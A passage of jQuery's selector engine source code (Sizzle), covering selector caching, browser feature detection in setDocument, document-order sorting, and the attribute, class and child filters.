querySelectorAll.\n\t\t\t\t// Thanks to Andrew Dupont for this technique.\n\t\t\t\tif ( nodeType === 1 &&\n\t\t\t\t\t( rdescend.test( selector ) || rleadingCombinator.test( selector ) ) ) {\n\n\t\t\t\t\t// Expand context for sibling selectors\n\t\t\t\t\tnewContext = rsibling.test( selector ) && testContext( context.parentNode ) ||\n\t\t\t\t\t\tcontext;\n\n\t\t\t\t\t// We can use :scope instead of the ID hack if the browser\n\t\t\t\t\t// supports it & if we're not changing the context.\n\t\t\t\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t\t\t\t// IE/Edge sometimes throw a \"Permission denied\" error when\n\t\t\t\t\t// strict-comparing two documents; shallow comparisons work.\n\t\t\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\t\t\tif ( newContext != context || !support.scope ) {\n\n\t\t\t\t\t\t// Capture the context ID, setting it first if necessary\n\t\t\t\t\t\tif ( ( nid = context.getAttribute( \"id\" ) ) ) {\n\t\t\t\t\t\t\tnid = jQuery.escapeSelector( nid );\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tcontext.setAttribute( \"id\", ( nid = expando ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prefix every selector in the list\n\t\t\t\t\tgroups = tokenize( selector );\n\t\t\t\t\ti = groups.length;\n\t\t\t\t\twhile ( i-- ) {\n\t\t\t\t\t\tgroups[ i ] = ( nid ? \"#\" + nid : \":scope\" ) + \" \" +\n\t\t\t\t\t\t\ttoSelector( groups[ i ] );\n\t\t\t\t\t}\n\t\t\t\t\tnewSelector = groups.join( \",\" );\n\t\t\t\t}\n\n\t\t\t\ttry {\n\t\t\t\t\tpush.apply( results,\n\t\t\t\t\t\tnewContext.querySelectorAll( newSelector )\n\t\t\t\t\t);\n\t\t\t\t\treturn results;\n\t\t\t\t} catch ( qsaError ) {\n\t\t\t\t\tnonnativeSelectorCache( selector, true );\n\t\t\t\t} finally {\n\t\t\t\t\tif ( nid === expando ) {\n\t\t\t\t\t\tcontext.removeAttribute( \"id\" );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// All others\n\treturn select( selector.replace( rtrimCSS, \"$1\" ), context, results, seed );\n}\n\n/**\n * Create key-value caches of limited size\n * @returns {function(string, object)} Returns the Object data after storing it on itself with\n *\tproperty name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)\n *\tdeleting the oldest entry\n */\nfunction createCache() {\n\tvar keys = [];\n\n\tfunction cache( key, value ) {\n\n\t\t// Use (key + \" \") to avoid collision with native prototype properties\n\t\t// (see https://github.com/jquery/sizzle/issues/157)\n\t\tif ( keys.push( key + \" \" ) > Expr.cacheLength ) {\n\n\t\t\t// Only keep the most recent entries\n\t\t\tdelete cache[ keys.shift() ];\n\t\t}\n\t\treturn ( cache[ key + \" \" ] = value );\n\t}\n\treturn cache;\n}\n\n/**\n * Mark a function for special use by jQuery selector module\n * @param {Function} fn The function to mark\n */\nfunction markFunction( fn ) {\n\tfn[ expando ] = true;\n\treturn fn;\n}\n\n/**\n * Support testing using an element\n * @param {Function} fn Passed the created element and returns a boolean result\n */\nfunction assert( fn ) {\n\tvar el = document.createElement( \"fieldset\" );\n\n\ttry {\n\t\treturn !!fn( el );\n\t} catch ( e ) {\n\t\treturn false;\n\t} finally {\n\n\t\t// Remove from its parent by default\n\t\tif ( el.parentNode ) {\n\t\t\tel.parentNode.removeChild( el );\n\t\t}\n\n\t\t// release memory in IE\n\t\tel = null;\n\t}\n}\n\n/**\n * Returns a function to use in pseudos for input types\n * @param {String} type\n */\nfunction createInputPseudo( type ) {\n\treturn function( elem ) {\n\t\treturn nodeName( elem, \"input\" ) && elem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for buttons\n * @param {String} type\n */\nfunction createButtonPseudo( type ) {\n\treturn function( elem ) {\n\t\treturn ( nodeName( elem, \"input\" ) || nodeName( elem, \"button\" ) ) &&\n\t\t\telem.type === type;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for :enabled/:disabled\n * @param {Boolean} disabled true for :disabled; false for :enabled\n */\nfunction createDisabledPseudo( disabled ) {\n\n\t// Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable\n\treturn function( elem ) {\n\n\t\t// Only certain elements can match :enabled or :disabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled\n\t\t// https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled\n\t\tif ( \"form\" in elem ) {\n\n\t\t\t// Check for inherited disabledness on relevant non-disabled elements:\n\t\t\t// * listed form-associated elements in a disabled fieldset\n\t\t\t// https://html.spec.whatwg.org/multipage/forms.html#category-listed\n\t\t\t// https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled\n\t\t\t// * option elements in a disabled optgroup\n\t\t\t// https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled\n\t\t\t// All such elements have a \"form\" property.\n\t\t\tif ( elem.parentNode && elem.disabled === false ) {\n\n\t\t\t\t// Option elements defer to a parent optgroup if present\n\t\t\t\tif ( \"label\" in elem ) {\n\t\t\t\t\tif ( \"label\" in elem.parentNode ) {\n\t\t\t\t\t\treturn elem.parentNode.disabled === disabled;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn elem.disabled === disabled;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Support: IE 6 - 11+\n\t\t\t\t// Use the isDisabled shortcut property to check for disabled fieldset ancestors\n\t\t\t\treturn elem.isDisabled === disabled ||\n\n\t\t\t\t\t// Where there is no isDisabled, check manually\n\t\t\t\t\telem.isDisabled !== !disabled &&\n\t\t\t\t\t\tinDisabledFieldset( elem ) === disabled;\n\t\t\t}\n\n\t\t\treturn elem.disabled === disabled;\n\n\t\t// Try to winnow out elements that can't be disabled before trusting the disabled property.\n\t\t// Some victims get caught in our net (label, legend, menu, track), but it shouldn't\n\t\t// even exist on them, let alone have a boolean value.\n\t\t} else if ( \"label\" in elem ) {\n\t\t\treturn elem.disabled === disabled;\n\t\t}\n\n\t\t// Remaining elements are neither :enabled nor :disabled\n\t\treturn false;\n\t};\n}\n\n/**\n * Returns a function to use in pseudos for positionals\n * @param {Function} fn\n */\nfunction createPositionalPseudo( fn ) {\n\treturn markFunction( function( argument ) {\n\t\targument = +argument;\n\t\treturn markFunction( function( seed, matches ) {\n\t\t\tvar j,\n\t\t\t\tmatchIndexes = fn( [], seed.length, argument ),\n\t\t\t\ti = matchIndexes.length;\n\n\t\t\t// Match elements found at the specified indexes\n\t\t\twhile ( i-- ) {\n\t\t\t\tif ( seed[ ( j = matchIndexes[ i ] ) ] ) {\n\t\t\t\t\tseed[ j ] = !( matches[ j ] = seed[ j ] );\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t} );\n}\n\n/**\n * Checks a node for validity as a jQuery selector context\n * @param {Element|Object=} context\n * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value\n */\nfunction testContext( context ) {\n\treturn context && typeof context.getElementsByTagName !== \"undefined\" && context;\n}\n\n/**\n * Sets document-related variables once based on the current document\n * @param {Element|Object} [node] An element or document object to use to set the document\n * @returns {Object} Returns the current document\n */\nfunction setDocument( node ) {\n\tvar subWindow,\n\t\tdoc = node ? node.ownerDocument || node : preferredDoc;\n\n\t// Return early if doc is invalid or already selected\n\t// Support: IE 11+, Edge 17 - 18+\n\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t// two documents; shallow comparisons work.\n\t// eslint-disable-next-line eqeqeq\n\tif ( doc == document || doc.nodeType !== 9 || !doc.documentElement ) {\n\t\treturn document;\n\t}\n\n\t// Update global variables\n\tdocument = doc;\n\tdocumentElement = document.documentElement;\n\tdocumentIsHTML = !jQuery.isXMLDoc( document );\n\n\t// Support: iOS 7 only, IE 9 - 11+\n\t// Older browsers didn't support unprefixed `matches`.\n\tmatches = documentElement.matches ||\n\t\tdocumentElement.webkitMatchesSelector ||\n\t\tdocumentElement.msMatchesSelector;\n\n\t// Support: IE 9 - 11+, Edge 12 - 18+\n\t// Accessing iframe documents after unload throws \"permission denied\" errors\n\t// (see trac-13936).\n\t// Limit the fix to IE & Edge Legacy; despite Edge 15+ implementing `matches`,\n\t// all IE 9+ and Edge Legacy versions implement `msMatchesSelector` as well.\n\tif ( documentElement.msMatchesSelector &&\n\n\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t\t// two documents; shallow comparisons work.\n\t\t// eslint-disable-next-line eqeqeq\n\t\tpreferredDoc != document &&\n\t\t( subWindow = document.defaultView ) && subWindow.top !== subWindow ) {\n\n\t\t// Support: IE 9 - 11+, Edge 12 - 18+\n\t\tsubWindow.addEventListener( \"unload\", unloadHandler );\n\t}\n\n\t// Support: IE <10\n\t// Check if getElementById returns elements by name\n\t// The broken getElementById methods don't pick up programmatically-set names,\n\t// so use a roundabout getElementsByName test\n\tsupport.getById = assert( function( el ) {\n\t\tdocumentElement.appendChild( el ).id = jQuery.expando;\n\t\treturn !document.getElementsByName ||\n\t\t\t!document.getElementsByName( jQuery.expando ).length;\n\t} );\n\n\t// Support: IE 9 only\n\t// Check to see if it's possible to do matchesSelector\n\t// on a disconnected node.\n\tsupport.disconnectedMatch = assert( function( el ) {\n\t\treturn matches.call( el, \"*\" );\n\t} );\n\n\t// Support: IE 9 - 11+, Edge 12 - 18+\n\t// IE/Edge don't support the :scope pseudo-class.\n\tsupport.scope = assert( function() {\n\t\treturn document.querySelectorAll( \":scope\" );\n\t} );\n\n\t// Support: Chrome 105 - 111 only, Safari 15.4 - 16.3 only\n\t// Make sure the `:has()` argument is parsed unforgivingly.\n\t// We include `*` in the test to detect buggy implementations that are\n\t// _selectively_ forgiving (specifically when the list includes at least\n\t// one valid selector).\n\t// Note that we treat complete lack of support for `:has()` as if it were\n\t// spec-compliant support, which is fine because use of `:has()` in such\n\t// environments will fail in the qSA path and fall back to jQuery traversal\n\t// anyway.\n\tsupport.cssHas = assert( function() {\n\t\ttry {\n\t\t\tdocument.querySelector( \":has(*,:jqfake)\" );\n\t\t\treturn false;\n\t\t} catch ( e ) {\n\t\t\treturn true;\n\t\t}\n\t} );\n\n\t// ID filter and find\n\tif ( support.getById ) {\n\t\tExpr.filter.ID = function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\treturn elem.getAttribute( \"id\" ) === attrId;\n\t\t\t};\n\t\t};\n\t\tExpr.find.ID = function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar elem = context.getElementById( id );\n\t\t\t\treturn elem ? [ elem ] : [];\n\t\t\t}\n\t\t};\n\t} else {\n\t\tExpr.filter.ID = function( id ) {\n\t\t\tvar attrId = id.replace( runescape, funescape );\n\t\t\treturn function( elem ) {\n\t\t\t\tvar node = typeof elem.getAttributeNode !== \"undefined\" &&\n\t\t\t\t\telem.getAttributeNode( \"id\" );\n\t\t\t\treturn node && node.value === attrId;\n\t\t\t};\n\t\t};\n\n\t\t// Support: IE 6 - 7 only\n\t\t// getElementById is not reliable as a find shortcut\n\t\tExpr.find.ID = function( id, context ) {\n\t\t\tif ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n\t\t\t\tvar node, i, elems,\n\t\t\t\t\telem = context.getElementById( id );\n\n\t\t\t\tif ( elem ) {\n\n\t\t\t\t\t// Verify the id attribute\n\t\t\t\t\tnode = elem.getAttributeNode( \"id\" );\n\t\t\t\t\tif ( node && node.value === id ) {\n\t\t\t\t\t\treturn [ elem ];\n\t\t\t\t\t}\n\n\t\t\t\t\t// Fall back on getElementsByName\n\t\t\t\t\telems = context.getElementsByName( id );\n\t\t\t\t\ti = 0;\n\t\t\t\t\twhile ( ( elem = elems[ i++ ] ) ) {\n\t\t\t\t\t\tnode = elem.getAttributeNode( \"id\" );\n\t\t\t\t\t\tif ( node && node.value === id ) {\n\t\t\t\t\t\t\treturn [ elem ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn [];\n\t\t\t}\n\t\t};\n\t}\n\n\t// Tag\n\tExpr.find.TAG = function( tag, context ) {\n\t\tif ( typeof context.getElementsByTagName !== \"undefined\" ) {\n\t\t\treturn context.getElementsByTagName( tag );\n\n\t\t// DocumentFragment nodes don't have gEBTN\n\t\t} else {\n\t\t\treturn context.querySelectorAll( tag );\n\t\t}\n\t};\n\n\t// Class\n\tExpr.find.CLASS = function( className, context ) {\n\t\tif ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) {\n\t\t\treturn context.getElementsByClassName( className );\n\t\t}\n\t};\n\n\t/* QSA/matchesSelector\n\t---------------------------------------------------------------------- */\n\n\t// QSA and matchesSelector support\n\n\trbuggyQSA = [];\n\n\t// Build QSA regex\n\t// Regex strategy adopted from Diego Perini\n\tassert( function( el ) {\n\n\t\tvar input;\n\n\t\tdocumentElement.appendChild( el ).innerHTML =\n\t\t\t\"<a id='\" + expando + \"' href='' disabled='disabled'></a>\" +\n\t\t\t\"<select id='\" + expando + \"-\\r\\\\' disabled='disabled'>\" +\n\t\t\t\"<option selected=''></option></select>\";\n\n\t\t// Support: iOS <=7 - 8 only\n\t\t// Boolean attributes and \"value\" are not treated correctly in some XML documents\n\t\tif ( !el.querySelectorAll( \"[selected]\" ).length ) {\n\t\t\trbuggyQSA.push( \"\\\\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );\n\t\t}\n\n\t\t// Support: iOS <=7 - 8 only\n\t\tif ( !el.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) {\n\t\t\trbuggyQSA.push( \"~=\" );\n\t\t}\n\n\t\t// Support: iOS 8 only\n\t\t// https://bugs.webkit.org/show_bug.cgi?id=136851\n\t\t// In-page `selector#id sibling-combinator selector` fails\n\t\tif ( !el.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) {\n\t\t\trbuggyQSA.push( \".#.+[+~]\" );\n\t\t}\n\n\t\t// Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+\n\t\t// In some of the document kinds, these selectors wouldn't work natively.\n\t\t// This is probably OK but for backwards compatibility we want to maintain\n\t\t// handling them through jQuery traversal in jQuery 3.x.\n\t\tif ( !el.querySelectorAll( \":checked\" ).length ) {\n\t\t\trbuggyQSA.push( \":checked\" );\n\t\t}\n\n\t\t// Support: Windows 8 Native Apps\n\t\t// The type and name attributes are restricted during .innerHTML assignment\n\t\tinput = document.createElement( \"input\" );\n\t\tinput.setAttribute( \"type\", \"hidden\" );\n\t\tel.appendChild( input ).setAttribute( \"name\", \"D\" );\n\n\t\t// Support: IE 9 - 11+\n\t\t// IE's :disabled selector does not pick up the children of disabled fieldsets\n\t\t// Support: Chrome <=105+, Firefox <=104+, Safari <=15.4+\n\t\t// In some of the document kinds, these selectors wouldn't work natively.\n\t\t// This is probably OK but for backwards compatibility we want to maintain\n\t\t// handling them through jQuery traversal in jQuery 3.x.\n\t\tdocumentElement.appendChild( el ).disabled = true;\n\t\tif ( el.querySelectorAll( \":disabled\" ).length !== 2 ) {\n\t\t\trbuggyQSA.push( \":enabled\", \":disabled\" );\n\t\t}\n\n\t\t// Support: IE 11+, Edge 15 - 18+\n\t\t// IE 11/Edge don't find elements on a `[name='']` query in some cases.\n\t\t// Adding a temporary attribute to the document before the selection works\n\t\t// around the issue.\n\t\t// Interestingly, IE 10 & older don't seem to have the issue.\n\t\tinput = document.createElement( \"input\" );\n\t\tinput.setAttribute( \"name\", \"\" );\n\t\tel.appendChild( input );\n\t\tif ( !el.querySelectorAll( \"[name='']\" ).length ) {\n\t\t\trbuggyQSA.push( \"\\\\[\" + whitespace + \"*name\" + whitespace + \"*=\" +\n\t\t\t\twhitespace + \"*(?:''|\\\"\\\")\" );\n\t\t}\n\t} );\n\n\tif ( !support.cssHas ) {\n\n\t\t// Support: Chrome 105 - 110+, Safari 15.4 - 16.3+\n\t\t// Our regular `try-catch` mechanism fails to detect natively-unsupported\n\t\t// pseudo-classes inside `:has()` (such as `:has(:contains(\"Foo\"))`)\n\t\t// in browsers that parse the `:has()` argument as a forgiving selector list.\n\t\t// https://drafts.csswg.org/selectors/#relational now requires the argument\n\t\t// to be parsed unforgivingly, but browsers have not yet fully adjusted.\n\t\trbuggyQSA.push( \":has\" );\n\t}\n\n\trbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join( \"|\" ) );\n\n\t/* Sorting\n\t---------------------------------------------------------------------- */\n\n\t// Document order sorting\n\tsortOrder = function( a, b ) {\n\n\t\t// Flag for duplicate removal\n\t\tif ( a === b ) {\n\t\t\thasDuplicate = true;\n\t\t\treturn 0;\n\t\t}\n\n\t\t// Sort on method existence if only one input has compareDocumentPosition\n\t\tvar compare = !a.compareDocumentPosition - !b.compareDocumentPosition;\n\t\tif ( compare ) {\n\t\t\treturn compare;\n\t\t}\n\n\t\t// Calculate position if both inputs belong to the same document\n\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t\t// two documents; shallow comparisons work.\n\t\t// eslint-disable-next-line eqeqeq\n\t\tcompare = ( a.ownerDocument || a ) == ( b.ownerDocument || b ) ?\n\t\t\ta.compareDocumentPosition( b ) :\n\n\t\t\t// Otherwise we know they are disconnected\n\t\t\t1;\n\n\t\t// Disconnected nodes\n\t\tif ( compare & 1 ||\n\t\t\t( !support.sortDetached && b.compareDocumentPosition( a ) === compare ) ) {\n\n\t\t\t// Choose the first element that is related to our preferred document\n\t\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t\t\t// two documents; shallow comparisons work.\n\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\tif ( a === document || a.ownerDocument == preferredDoc &&\n\t\t\t\tfind.contains( preferredDoc, a ) ) {\n\t\t\t\treturn -1;\n\t\t\t}\n\n\t\t\t// Support: IE 11+, Edge 17 - 18+\n\t\t\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t\t\t// two documents; shallow comparisons work.\n\t\t\t// eslint-disable-next-line eqeqeq\n\t\t\tif ( b === document || b.ownerDocument == preferredDoc &&\n\t\t\t\tfind.contains( preferredDoc, b ) ) {\n\t\t\t\treturn 1;\n\t\t\t}\n\n\t\t\t// Maintain original order\n\t\t\treturn sortInput ?\n\t\t\t\t( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :\n\t\t\t\t0;\n\t\t}\n\n\t\treturn compare & 4 ? -1 : 1;\n\t};\n\n\treturn document;\n}\n\nfind.matches = function( expr, elements ) {\n\treturn find( expr, null, null, elements );\n};\n\nfind.matchesSelector = function( elem, expr ) {\n\tsetDocument( elem );\n\n\tif ( documentIsHTML &&\n\t\t!nonnativeSelectorCache[ expr + \" \" ] &&\n\t\t( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {\n\n\t\ttry {\n\t\t\tvar ret = matches.call( elem, expr );\n\n\t\t\t// IE 9's matchesSelector returns false on disconnected nodes\n\t\t\tif ( ret || support.disconnectedMatch ||\n\n\t\t\t\t\t// As well, disconnected nodes are said to be in a document\n\t\t\t\t\t// fragment in IE 9\n\t\t\t\t\telem.document && elem.document.nodeType !== 11 ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\t\t} catch ( e ) {\n\t\t\tnonnativeSelectorCache( expr, true );\n\t\t}\n\t}\n\n\treturn find( expr, document, null, [ elem ] ).length > 0;\n};\n\nfind.contains = function( context, elem ) {\n\n\t// Set document vars if needed\n\t// Support: IE 11+, Edge 17 - 18+\n\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t// two documents; shallow comparisons work.\n\t// eslint-disable-next-line eqeqeq\n\tif ( ( context.ownerDocument || context ) != document ) {\n\t\tsetDocument( context );\n\t}\n\treturn jQuery.contains( context, elem );\n};\n\n\nfind.attr = function( elem, name ) {\n\n\t// Set document vars if needed\n\t// Support: IE 11+, Edge 17 - 18+\n\t// IE/Edge sometimes throw a \"Permission denied\" error when strict-comparing\n\t// two documents; shallow comparisons work.\n\t// eslint-disable-next-line eqeqeq\n\tif ( ( elem.ownerDocument || elem ) != document ) {\n\t\tsetDocument( elem );\n\t}\n\n\tvar fn = Expr.attrHandle[ name.toLowerCase() ],\n\n\t\t// Don't get fooled by Object.prototype properties (see trac-13807)\n\t\tval = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?\n\t\t\tfn( elem, name, !documentIsHTML ) :\n\t\t\tundefined;\n\n\tif ( val !== undefined ) {\n\t\treturn val;\n\t}\n\n\treturn elem.getAttribute( name );\n};\n\nfind.error = function( msg ) {\n\tthrow new Error( \"Syntax error, unrecognized expression: \" + msg );\n};\n\n/**\n * Document sorting and removing duplicates\n * @param {ArrayLike} results\n */\njQuery.uniqueSort = function( results ) {\n\tvar elem,\n\t\tduplicates = [],\n\t\tj = 0,\n\t\ti = 0;\n\n\t// Unless we *know* we can detect duplicates, assume their presence\n\t//\n\t// Support: Android <=4.0+\n\t// Testing for detecting duplicates is unpredictable so instead assume we can't\n\t// depend on duplicate detection in all browsers without a stable sort.\n\thasDuplicate = !support.sortStable;\n\tsortInput = !support.sortStable && slice.call( results, 0 );\n\tsort.call( results, sortOrder );\n\n\tif ( hasDuplicate ) {\n\t\twhile ( ( elem = results[ i++ ] ) ) {\n\t\t\tif ( elem === results[ i ] ) {\n\t\t\t\tj = duplicates.push( i );\n\t\t\t}\n\t\t}\n\t\twhile ( j-- ) {\n\t\t\tsplice.call( results, duplicates[ j ], 1 );\n\t\t}\n\t}\n\n\t// Clear input after sorting to release objects\n\t// See https://github.com/jquery/sizzle/pull/225\n\tsortInput = null;\n\n\treturn results;\n};\n\njQuery.fn.uniqueSort = function() {\n\treturn this.pushStack( jQuery.uniqueSort( slice.apply( this ) ) );\n};\n\nExpr = jQuery.expr = {\n\n\t// Can be adjusted by the user\n\tcacheLength: 50,\n\n\tcreatePseudo: markFunction,\n\n\tmatch: matchExpr,\n\n\tattrHandle: {},\n\n\tfind: {},\n\n\trelative: {\n\t\t\">\": { dir: \"parentNode\", first: true },\n\t\t\" \": { dir: \"parentNode\" },\n\t\t\"+\": { dir: \"previousSibling\", first: true },\n\t\t\"~\": { dir: \"previousSibling\" }\n\t},\n\n\tpreFilter: {\n\t\tATTR: function( match ) {\n\t\t\tmatch[ 1 ] = match[ 1 ].replace( runescape, funescape );\n\n\t\t\t// Move the given value to match[3] whether quoted or unquoted\n\t\t\tmatch[ 3 ] = ( match[ 3 ] || match[ 4 ] || match[ 5 ] || \"\" )\n\t\t\t\t.replace( runescape, funescape );\n\n\t\t\tif ( match[ 2 ] === \"~=\" ) {\n\t\t\t\tmatch[ 3 ] = \" \" + match[ 3 ] + \" \";\n\t\t\t}\n\n\t\t\treturn match.slice( 0, 4 );\n\t\t},\n\n\t\tCHILD: function( match ) {\n\n\t\t\t/* matches from matchExpr[\"CHILD\"]\n\t\t\t\t1 type (only|nth|...)\n\t\t\t\t2 what (child|of-type)\n\t\t\t\t3 argument (even|odd|\\d*|\\d*n([+-]\\d+)?|...)\n\t\t\t\t4 xn-component of xn+y argument ([+-]?\\d*n|)\n\t\t\t\t5 sign of xn-component\n\t\t\t\t6 x of xn-component\n\t\t\t\t7 sign of y-component\n\t\t\t\t8 y of y-component\n\t\t\t*/\n\t\t\tmatch[ 1 ] = match[ 1 ].toLowerCase();\n\n\t\t\tif ( match[ 1 ].slice( 0, 3 ) === \"nth\" ) {\n\n\t\t\t\t// nth-* requires argument\n\t\t\t\tif ( !match[ 3 ] ) {\n\t\t\t\t\tfind.error( match[ 0 ] );\n\t\t\t\t}\n\n\t\t\t\t// numeric x and y parameters for Expr.filter.CHILD\n\t\t\t\t// remember that false/true cast respectively to 0/1\n\t\t\t\tmatch[ 4 ] = +( match[ 4 ] ?\n\t\t\t\t\tmatch[ 5 ] + ( match[ 6 ] || 1 ) :\n\t\t\t\t\t2 * ( match[ 3 ] === \"even\" || match[ 3 ] === \"odd\" )\n\t\t\t\t);\n\t\t\t\tmatch[ 5 ] = +( ( match[ 7 ] + match[ 8 ] ) || match[ 3 ] === \"odd\" );\n\n\t\t\t// other types prohibit arguments\n\t\t\t} else if ( match[ 3 ] ) {\n\t\t\t\tfind.error( match[ 0 ] );\n\t\t\t}\n\n\t\t\treturn match;\n\t\t},\n\n\t\tPSEUDO: function( match ) {\n\t\t\tvar excess,\n\t\t\t\tunquoted = !match[ 6 ] && match[ 2 ];\n\n\t\t\tif ( matchExpr.CHILD.test( match[ 0 ] ) ) {\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t// Accept quoted arguments as-is\n\t\t\tif ( match[ 3 ] ) {\n\t\t\t\tmatch[ 2 ] = match[ 4 ] || match[ 5 ] || \"\";\n\n\t\t\t// Strip excess characters from unquoted arguments\n\t\t\t} else if ( unquoted && rpseudo.test( unquoted ) &&\n\n\t\t\t\t// Get excess from tokenize (recursively)\n\t\t\t\t( excess = tokenize( unquoted, true ) ) &&\n\n\t\t\t\t// advance to the next closing parenthesis\n\t\t\t\t( excess = unquoted.indexOf( \")\", unquoted.length - excess ) - unquoted.length ) ) {\n\n\t\t\t\t// excess is a negative index\n\t\t\t\tmatch[ 0 ] = match[ 0 ].slice( 0, excess );\n\t\t\t\tmatch[ 2 ] = unquoted.slice( 0, excess );\n\t\t\t}\n\n\t\t\t// Return only captures needed by the pseudo filter method (type and argument)\n\t\t\treturn match.slice( 0, 3 );\n\t\t}\n\t},\n\n\tfilter: {\n\n\t\tTAG: function( nodeNameSelector ) {\n\t\t\tvar expectedNodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();\n\t\t\treturn nodeNameSelector === \"*\" ?\n\t\t\t\tfunction() {\n\t\t\t\t\treturn true;\n\t\t\t\t} :\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn nodeName( elem, expectedNodeName );\n\t\t\t\t};\n\t\t},\n\n\t\tCLASS: function( className ) {\n\t\t\tvar pattern = classCache[ className + \" \" ];\n\n\t\t\treturn pattern ||\n\t\t\t\t( pattern = new RegExp( \"(^|\" + whitespace + \")\" + className +\n\t\t\t\t\t\"(\" + whitespace + \"|$)\" ) ) &&\n\t\t\t\tclassCache( className, function( elem ) {\n\t\t\t\t\treturn pattern.test(\n\t\t\t\t\t\ttypeof elem.className === \"string\" && elem.className ||\n\t\t\t\t\t\t\ttypeof elem.getAttribute !== \"undefined\" &&\n\t\t\t\t\t\t\t\telem.getAttribute( \"class\" ) ||\n\t\t\t\t\t\t\t\"\"\n\t\t\t\t\t);\n\t\t\t\t} );\n\t\t},\n\n\t\tATTR: function( name, operator, check ) {\n\t\t\treturn function( elem ) {\n\t\t\t\tvar result = find.attr( elem, name );\n\n\t\t\t\tif ( result == null ) {\n\t\t\t\t\treturn operator === \"!=\";\n\t\t\t\t}\n\t\t\t\tif ( !operator ) {\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\n\t\t\t\tresult += \"\";\n\n\t\t\t\tif ( operator === \"=\" ) {\n\t\t\t\t\treturn result === check;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"!=\" ) {\n\t\t\t\t\treturn result !== check;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"^=\" ) {\n\t\t\t\t\treturn check && result.indexOf( check ) === 0;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"*=\" ) {\n\t\t\t\t\treturn check && result.indexOf( check ) > -1;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"$=\" ) {\n\t\t\t\t\treturn check && result.slice( -check.length ) === check;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"~=\" ) {\n\t\t\t\t\treturn ( \" \" + result.replace( rwhitespace, \" \" ) + \" \" )\n\t\t\t\t\t\t.indexOf( check ) > -1;\n\t\t\t\t}\n\t\t\t\tif ( operator === \"|=\" ) {\n\t\t\t\t\treturn result === check || result.slice( 0, check.length + 1 ) === check + \"-\";\n\t\t\t\t}\n\n\t\t\t\treturn false;\n\t\t\t};\n\t\t},\n\n\t\tCHILD: function( type, what, _argument, first, last ) {\n\t\t\tvar simple = type.slice( 0, 3 ) !== \"nth\",\n\t\t\t\tforward = type.slice( -4 ) !== \"last\",\n\t\t\t\tofType = what === \"of-type\";\n\n\t\t\treturn first === 1 && last === 0 ?\n\n\t\t\t\t// Shortcut for :nth-*(n)\n\t\t\t\tfunction( elem ) {\n\t\t\t\t\treturn !!elem.parentNode;\n\t\t\t\t} :\n\n\t\t\t\tfunction( elem, _context, xml ) {\n\t\t\t\t\tvar cache, outerCache, node, nodeIndex, start,\n\t\t\t\t\t\tdir = simple !== forward ? \"nextSibling\" : \"previousSibling\",\n\t\t\t\t\t\tparent = elem.parentNode,\n\t\t\t\t\t\tname = ofType && elem.nodeName.toLowerCase(),\n\t\t\t\t\t\tuseCache = !xml && !ofType,\n\t\t\t\t\t\tdiff = false;\n\n\t\t\t\t\tif ( parent ) {\n\n\t\t\t\t\t\t// :(first|last|only)-(child|of-type)\n\t\t\t\t\t\tif ( simple ) {\n\t\t\t\t\t\t\twhile ( dir ) {\n\t\t\t\t\t\t\t\tnode = elem;\n\t\t\t\t\t\t\t\twhile ( ( node = node[ dir ] ) ) {\n\t\t\t\t\t\t\t\t\tif ( ofType ?\n\t\t\t\t\t\t\t\t\t\tnodeName( node, name ) :\n\t\t\t\t\t\t\t\t\t\tnode.nodeType === 1 ) {\n\n\t\t\t\t\t\t\t\t\t\treturn 